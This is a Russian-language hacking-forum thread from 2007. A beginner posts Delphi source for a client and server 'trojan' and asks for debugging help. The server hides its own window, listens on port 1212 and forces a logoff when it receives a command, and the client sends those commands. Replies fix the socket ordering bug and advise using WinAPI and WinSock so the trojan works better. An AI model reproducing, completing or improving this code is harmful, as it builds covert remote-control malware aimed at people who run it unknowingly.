Троян на Delphi

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by S1nteZ, 4 Jun 2007.

  1. S1nteZ

    S1nteZ Banned

    Joined:
    4 Jun 2007
    Messages:
    3
    Likes Received:
    4
    Reputations:
    -2
    Я попробовал написать трой на Дельфи и уменя одна проблема:я испытовал трой на себе: включил сервер запускаю клиент ввожу свой внешний IP и он мне говорит 'No address specified' может это из-за порта? Вот код клиента:
    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls, Sockets, ScktComp;

    type
    TForm1 = class(TForm)
    Button1: TButton;
    RadioButton1: TRadioButton;
    RadioButton2: TRadioButton;
    RadioButton3: TRadioButton;
    Edit1: TEdit;
    ClientSocket1: TClientSocket;
    procedure Button1Click(Sender: TObject);
    procedure TcpClient1Connect(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure TForm1.Button1Click(Sender: TObject);
    begin
    ClientSocket1.Active:=True;
    ClientSocket1.Address:=Edit1.Text;
    ClientSocket1.Port:=1212;
    end;

    procedure TForm1.TcpClient1Connect(Sender: TObject);
    begin
    If RadioButton1.Checked then ClientSocket1.Socket.SendText('reboot');
    If RadioButton2.Checked then ClientSocket1.Socket.SendText('vkl');
    If RadioButton3.Checked then ClientSocket1.Socket.SendText('vykl');
    end;

    end.
    А вот сервера:
    nit Unit2;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, ScktComp;

    type
    TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure FormPaint(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
    Socket: TCustomWinSocket);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure TForm1.FormCreate(Sender: TObject);
    begin
    ServerSocket1.Active:=True;
    ServerSocket1.Port:=1212;
    end;

    procedure TForm1.FormDestroy(Sender: TObject);
    begin
    ServerSocket1.Active:=False;
    end;

    procedure TForm1.FormPaint(Sender: TObject);
    begin
    hide;
    end;

    procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
    Socket: TCustomWinSocket);
    var
    s:string;
    begin
    s:=Socket.ReceiveText;
    If s='reboot' then ExitWindowsEX(ewx_logoff, ewx_force);
    end;

    end.
     
    1 person likes this.
  2. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Сначала адрес и порт, а потом уже открываешь.

    З.Ы. А лучше юзай Win API (можно KOL, рулезная весчь) + WinSock. А то троян не получится =)
     
  3. 0x0c0de

    0x0c0de Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    441
    Likes Received:
    396
    Reputations:
    297
    Если тестишь на одной машине, то не надо вводить внешний ip. Локальный надо 127.0.0.1
     
  4. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Повторяю.
    Code:
    ServerSocket1.Active:=True;
    ServerSocket1.Port:=1212;
    Ошибка. Сначала назначаем порт, а потом уже открываем
     
  5. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31

    а с клиентом не то же самое?
     
  6. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Ну конечно. Ато хз к чему конектиться будет
     
  7. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Народ не тупой. просто навреное рано берется за сложные вещи.
    Или не до конца понимает принципа работы.
     
  8. Gray_f0x

    Gray_f0x Elder - Старейшина

    Joined:
    31 May 2007
    Messages:
    161
    Likes Received:
    84
    Reputations:
    12
    Опа! круто вот с этого кода и начну изучать дельфи , а еще летом книжеки почитаю! Спасибо